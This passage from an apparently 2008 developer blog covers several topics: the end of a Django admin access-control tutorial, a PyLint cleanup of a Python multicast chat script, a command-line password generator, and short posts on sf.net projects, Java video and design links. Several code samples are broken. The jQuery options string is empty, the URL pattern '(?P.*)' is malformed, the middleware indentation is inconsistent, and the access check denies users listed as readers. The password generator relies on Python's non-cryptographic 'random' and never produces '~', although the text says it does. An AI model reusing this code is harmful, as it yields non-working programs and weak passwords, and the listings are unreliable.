        {'document_root': settings.MEDIA_ROOT}),

Now it is time to modify admin's change_form template for SecuredModule model and include jQuery script. For this we create templates dir, register it and modify required template.

mkdir templates

Modify settins.py (CURRENT_PATH was declared earlier during setting up MEDIA_ROOT):

TEMPLATE_DIRS = (
    os.path.join(CURRENT_PATH, 'templates'),
)

Prepare template for change_form:

mkdir -p templates/admin/secure/securedmodule
touch templates/admin/secure/securedmodule/change_form.html

Now let's modify change_form.html:

{% extends "admin/change_form.html" %}
{% block extrahead %}
{{ block.super }}
<script type="text/javascript" src="/media.site/jquery.js"></script>
<script type="text/javascript">
  $(document).ready(function() {
      var app = $('select#id_app');
          var reload_func = function() {
                  $.getJSON('/get_models/', {app : app.val()}, function(j) {
                  var options = '';
                  var model = '';
                      $.each(j, function(i, item) {
                           if (item.model) {
                               model = item.model;
                           }
                           if (item.value) {
                               options += '';
                           }
                      });
                      $('select#id_model').html(options);
                  });
          };
          reload_func();
          app.change(reload_func);
      });
</script>
{% endblock %}

In code above we call '/get_models/' request handler via AJAX-request and modify id_model options. Let's add get_models view (change secure/views.py):

""" Views for working with secure application. """

import re
from secure_site.secure.models import SecuredModule
from django.http import HttpResponse, Http404
from django.utils import simplejson
import logging
from django.db import models

class JsonResponse(HttpResponse):
    """ Class representing JSON response. """
    def __init__(self, data):
        HttpResponse.__init__(self, content = simplejson.dumps(data),
                              mimetype = 'application/json')

MODULE_ID_REGEX = re.compile('/admin/secure/securedmodule/(\d+)/?$')

def get_app_module(app):
    """ Get application module.
    'app' - application name."""
    try:
        return __import__('%s.models' % app, fromlist = [app])
    except ImportError, error:
        logging.debug(error)
        raise Http404

def get_module_classes(app):
    """ Get module classes.
    'app' - application name."""
    module_values = get_app_module(app).__dict__.values()
    return [val for val in module_values
 if isinstance(val, type) and issubclass(val, models.Model)]

def get_models(request):
    """ Get all available models.
    'request' - request instance."""
    app = request.GET.get('app', '')
    reply = []
    matches = MODULE_ID_REGEX.search(request.META['HTTP_REFERER'])
    if matches: # module is existed
        id = matches.group(1)
        module = SecuredModule.objects.get(id = id)
        reply.append({'model' : module.model})
    if app:
        classes = get_module_classes(app)
        reply.extend([{ 'value': class_obj.__name__}
                      for class_obj in classes]);
        SecuredModule._meta.get_field('model')._choices.extend(
            [(class_obj.__name__, class_obj.__name__)
             for class_obj in classes])
    return JsonResponse(reply)

We defined JsonResponse class for working with AJAX and added get_models view. Register it in urls.py:

from django.conf.urls.defaults import *
from django.contrib import admin
from django.conf import settings
from secure_site.secure.views import get_models

admin.autodiscover()
urlpatterns = patterns('',
    (r'^get_models/?$', get_models),
    (r'^media.site/(?P.*)$', 'django.views.static.serve',
        {'document_root': settings.MEDIA_ROOT}),
    (r'^admin/doc/', include('django.contrib.admindocs.urls')),
    (r'^admin/(.*)', admin.site.root),
)

Now everything is ready to dynamically refresh model's field in form. After starting project with runserver do this:

- add new user 'test' with Staff and Superuser status;
- add new module for model1 and test user as reader;
- add few model1 objects.

And the last part - checking user's access. The one of ways is using middleware. It is not best way (we can't restrict to change model via Django API), but acceptable enough for the demo. Let's create middleware class:

mkdir middleware
touch middleware/secure.py
touch middleware/__init__.py

Add 'secure_site.middleware.secure.CheckAccess' to the end of MIDDLEWARE_CLASSES list in settings.py. And change middleware/secure.py:

import re
from django.core.exceptions import ObjectDoesNotExist
from django.http import HttpResponseForbidden
from secure_site.secure.models import SecuredModule

APP_MODEL_REGEX = re.compile('^/admin/(\w+)/(\w+)/\d+/?$')

def find_module(app, model):
    """ Find module object using application and model names.
    'app' - application name.
    'model' - model name."""
    module_name = '%s.%s' % (app, model)
    for module in SecuredModule.objects.all():
        if module_name in module.__unicode__():
            return module
    return None

class CheckAccess(object):
      """Middleware that gets various objects from the
      request object and saves them in thread local storage."""
      def process_request(self, request):
          matches = APP_MODEL_REGEX.search(request.META['PATH_INFO'])
   if matches:
              app = matches.group(1)
       model = matches.group(2)
              module = find_module(app, model)
              if module:
                  try:
                      module.readers.get(username = unicode(getattr(request, 'user', None)))
                      return HttpResponseForbidden('Permission denied!')
                  except ObjectDoesNotExist:
                      pass

That's all! Now let's test it: login with test user and try to open any of model1 objects created earlier. If you got 'Permission denied!' message, then everything is fine - security features are working!

DOWNLOAD - secure_site.tar.gz (20.58KB)

My sf.net projects

2008-06-27T20:40:00.003-07:00

I manage few projects on sf.net, and hope that they will be useful for community:

Mail Dispatcher - A tool for dispatching (basically, deleting) email messages on POP3 server via Plain or SSL connection with advanced filtering capabilities.
sdict2db - Parser for SDict-based format dictionaries with ability to save in a SQL server (with creating table, index and filling data) and in a text file (SDict text format).
DNN Dictionary - A DotNetNuke module for translating texts using SDict-based (http://sdict.ru/en/) dictionaries. It works using AJAX mechanism so there is no pages reloading during the process of translation.
DHCP Explorer - A console cross-platform tool for locating all available DHCP servers.

Though there is no serious activity in these projects, I am working on them as far as possible, so wait for new updates soon.

Video streaming in Java

2008-06-26T22:06:00.000-07:00

Today I learned what plans have Sun Corporation for multimedia support in Java, especially about handling video streaming via net. Until now there was only one solution - using JMF. Even this framework is pretty stable, it is deprecated, slow and have limited capabilities.

But it looks like Sun seriously began investing efforts to get rid of this situation. First of all, it was good news that Sun decide to add video capabilities to Java with On2 technologies. Also these capabilities will be added to JavaFX. JavaFX looks very promising, for example, there is a nice site written in JavaFX - Parleys.com.

After little digging I found that JavaFX will use media features via Java Media Components library. There is no direct link for this library now, but I think that after releasing JavaSE 7 it will appear. So, we will have video, and probably, streaming. It is encouraging news, and give many hopes for Java multimedia future.

See below other interesting links:

Static code analysis tools (with multicasting chat sample)

2008-06-25T19:41:00.004-07:00

In the modern world with fast cycles of software development it is critical to develop applications with high quality but without long periods of testing and bug fixing. One of the key points for gaining such performance is using static code analysis tools. Let me provide some samples of such tools which can be useful for software development:

Splint - open source programming tool that examines C source code;
PyLint - a static code analyser for Python;
Perl::Critic - a static code analysis tool for Perl;
FxCop - static analysis for Microsoft .NET programs that compile to CIL.

There are many other tools, a list of which you can find in wikipedia. Let's do static code analysis of sample multicasting chat application:

#!/usr/bin/env python
import socket
import struct
import sys
from threading import Thread

MADDX = '225.100.100.100'
PORT = 6543
is_listening = False

def listen_messages(is_listening):
    print 'Start listening...'
    sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM, socket.IPPROTO_UDP)
    sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    sock.bind(('', PORT))
    mreq = struct.pack('4sl', socket.inet_aton(MADDX), socket.INADDR_ANY)
    sock.setsockopt(socket.IPPROTO_IP, socket.IP_ADD_MEMBERSHIP, mreq)
    sock.settimeout(1)
    while is_listening():
        try:
            print sock.recv(10240)
        except socket.timeout:
            pass
    print 'Stop listening...'

sys.stdout.write('Enter your name: ')
name = sys.stdin.readline().strip()

listening_thread = Thread(target = listen_messages, args = (lambda: is_listening,))
is_listening = True
listening_thread.start()

sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM, socket.IPPROTO_UDP)
sock.setsockopt(socket.IPPROTO_IP, socket.IP_MULTICAST_TTL, 2)
while True:
    try:
        line = sys.stdin.readline().strip()
        sock.sendto('%s: %s' % (name, line), (MADDX, PORT))
    except KeyboardInterrupt:
        is_listening = False
        listening_thread.join()
        break

Run PyLint for this script. See results below:

<skiped>
C: 30: Line too long (83/80)
C:  1: Missing docstring
C:  9: Invalid name "is_listening" (should match (([A-Z_][A-Z1-9_]*)|(__.*__))$)
W: 11:listen_messages: Redefining name 'is_listening' from outer scope (line 9)
W: 13:listen_messages: Redefining name 'sock' from outer scope (line 34)
C: 11:listen_messages: Missing docstring
W: 22:listen_messages: Except doesn't do anything
C: 28: Invalid name "name" (should match (([A-Z_][A-Z1-9_]*)|(__.*__))$)
C: 30: Invalid name "listening_thread" (should match (([A-Z_][A-Z1-9_]*)|(__.*__))$)
C: 31: Invalid name "is_listening" (should match (([A-Z_][A-Z1-9_]*)|(__.*__))$)
C: 34: Invalid name "sock" (should match (([A-Z_][A-Z1-9_]*)|(__.*__))$)
C: 38: Invalid name "line" (should match (([A-Z_][A-Z1-9_]*)|(__.*__))$)
C: 41: Invalid name "is_listening" (should match (([A-Z_][A-Z1-9_]*)|(__.*__))$)
<skiped>
Your code has been rated at 6.18/10

Not so good rating. Let's try to fix all warning:

C: 30: Line too long (83/80) - Even now it is good practice to fit code lines in 80 characters - programmer can write code remotely via SSH terminal and it is not so easy to read/modify long lines (and I am not talking about printout copies of the code). Change line:
```
listening_thread = Thread(target = listen_messages, args = (lambda: is_listening,))
```
to:
```
listening_thread = Thread(target = listen_messages,
    args = (lambda: is_listening,))
```
C: 1: Missing docstring - Code should be readable - developers write code for humans not machines, and good documentation is a key point for better understanding of the code. Add docstring to the top of the script:
```
""" Multicasting chat application """
```
Invalid name "is_listening" (should match (([A-Z_][A-Z1-9_]*)|(__.*__))$) - All global variables should be marked with uppercase symbols. Global variables are evil, especially in Python (if a function uses global variable, developer should mark it with GLOBAL keyword - an error widespread among developers who do not know or forget this requirement). That's why I use lambda to pass parameter to the listen_messages function - in other case I have to use GLOBAL keyword. For fixing this warning I move the whole script to 'main' function.

New version of the application (after all actions above):

#!/usr/bin/env python
""" Multicasting chat application """

import socket
import struct
import sys
from threading import Thread

MADDX = '225.100.100.100'
PORT = 6543

def listen_messages(is_listening):
    print 'Start listening...'
    sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM, socket.IPPROTO_UDP)
    sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    sock.bind(('', PORT))
    mreq = struct.pack('4sl', socket.inet_aton(MADDX), socket.INADDR_ANY)
    sock.setsockopt(socket.IPPROTO_IP, socket.IP_ADD_MEMBERSHIP, mreq)
    sock.settimeout(1)
    while is_listening():
        try:
            print sock.recv(10240)
        except socket.timeout:
            pass
    print 'Stop listening...'

def main():
    is_listening = False
    sys.stdout.write('Enter your name: ')
    name = sys.stdin.readline().strip()

    listening_thread = Thread(target = listen_messages,
        args = (lambda: is_listening,))
    is_listening = True
    listening_thread.start()

    sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM, socket.IPPROTO_UDP)
    sock.setsockopt(socket.IPPROTO_IP, socket.IP_MULTICAST_TTL, 2)
    while True:
        try:
            line = sys.stdin.readline().strip()
            sock.sendto('%s: %s' % (name, line), (MADDX, PORT))
        except KeyboardInterrupt:
            is_listening = False
            listening_thread.join()
            break

main()

Now it looks more attractive and readable. And after checking with PyLint I get good rating:

<skip>
C: 12:listen_messages: Missing docstring
W: 23:listen_messages: Except doesn't do anything
C: 27:main: Missing docstring
<skip>
Your code has been rated at 9.17/10 (previous run: 6.18/10)

Let's fix warnings remained - add docstrings and fix 'except' statement. Working with exceptions is a dull task, but do not underestimate an importance of good exception handling. Only exceptions can tell developers what has happened to the program and how to fix the situation. In our case exceptions are used in not exceptional situation (socket receive timeout), but it could not be avoided - it is only way to correctly close 'listening_thread'. To ignore this warning I use inline PyLint warning disabling feature and add comments why I do it. Complete code see below:

#!/usr/bin/env python
""" Multicasting chat application """

import socket
import struct
import sys
from threading import Thread

MADDX = '225.100.100.100'
PORT = 6543

def listen_messages(is_listening):
    """ Listen messages from multicast traffic """
    print 'Start listening...'
    sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM, socket.IPPROTO_UDP)
    sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    sock.bind(('', PORT))
    mreq = struct.pack('4sl', socket.inet_aton(MADDX), socket.INADDR_ANY)
    sock.setsockopt(socket.IPPROTO_IP, socket.IP_ADD_MEMBERSHIP, mreq)
    sock.settimeout(1)
    while is_listening():
        try:
            print sock.recv(10240)
        except socket.timeout: # pylint: disable-msg=W0704
            # Exception is used for correct thread shutdown
            pass
    print 'Stop listening...'

def main():
    """ Main entry """
    is_listening = False
    sys.stdout.write('Enter your name: ')
    name = sys.stdin.readline().strip()

    listening_thread = Thread(target = listen_messages,
        args = (lambda: is_listening,))
    is_listening = True
    listening_thread.start()

    sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM, socket.IPPROTO_UDP)
    sock.setsockopt(socket.IPPROTO_IP, socket.IP_MULTICAST_TTL, 2)
    while True:
        try:
            line = sys.stdin.readline().strip()
            sock.sendto('%s: %s' % (name, line), (MADDX, PORT))
        except KeyboardInterrupt:
            is_listening = False
            listening_thread.join()
            break

main()

So now you can enjoy chatting in your LAN without any servers and monstrous applications!

DOWNLOAD - chat.tar.gz (803.00B)

Useful designer links

2008-06-25T18:43:00.001-07:00

One of the major problems in creating a GUI prototype for some websites or applications is developing an initial design. To make this task less complicated I enumerate sites where you can get templates and pictures for free:

http://www.openwebdesign.org/ - many templates for websites available by various licenses;
http://www.iconarchive.com/ - many icons for web and other applications available by various licenses;
http://www.openclipart.org/ - many icons and other images available in Public Domain according to the statement by the Creative Commons.

Also there are certain standards which are highly recommended to developers to follow:

GNOME Human Interface Guidelines 2.0 describes ways to create GNOME applications;
Windows Vista User Experience Guidelines describes ways to create applications for MS Vista;
Java Look and Feel Design Guidelines describes ways to create applications in Java framework;
KDE User Interface Guidelines describes ways to create applications for KDE.

There are many other resources available in the Internet, so happy googling!

Simple password generator in Python

2008-06-24T21:52:00.007-07:00

There are many situations when you need to create a password quickly, and do not want to strain you fantasy for such task. In this case password generators are very useful, but most of them require too many motions. In this article I am going to show how to create a simple utility which works from command line and just displays a line with the automatically generated password (and of course it can be used in many administrative automated tasks).

First, I create a prototype in Python shell and then write the utility itself. I recommend to use IPython shell (http://ipython.scipy.org/moin/About) - it is superior to Python shell in many ways.

Import 'random' library:
```
In [1]: import random
```
Check generation random number in required range (from 32 - space symbol to 126 - symbol '~'):
```
In [2]: random.randrange(32, 126)
Out [2]: 109
```

Check conversion number to character:

In [3]: chr(random.randrange(32, 126))
Out [3]: 'c'

Check generation a list of characters:

In [4]: [chr(random.randrange(32, 126)) for __ in xrange(8)]
Out[4]: ['0', "'", 'A', '\\', 'o', 'D', 'R', 'M']

Check joining a list to a string:

In [5]: ''.join([chr(random.randrange(32, 126)) for __ in xrange(8)])
Out[5]: 'mqLs2_ma'

That's all. Password generation is ready!

Now I put this code to a script and add one feature - password generation with specified length. For this I use 'optparse' library. Complete script is below:

#!/usr/bin/env python
""" Simple password generator """

import random
from optparse import OptionParser

def main():
   """ Main entry """
   parser = OptionParser()
   parser.set_defaults(length = 8)
   parser.add_option('-l', '--length', type = 'int', dest = 'length',
       help = 'Length of the generated password')
   options = parser.parse_args()[0]
   print ''.join([chr(random.randrange(32, 126))
       for __ in range(options.length)])

main()

Now I put this script to the place where the OS can easily find it when I call this utility (for example, ~/bin).

Have fun!

DOWNLOAD - makepwd.tar.gz (400.00B)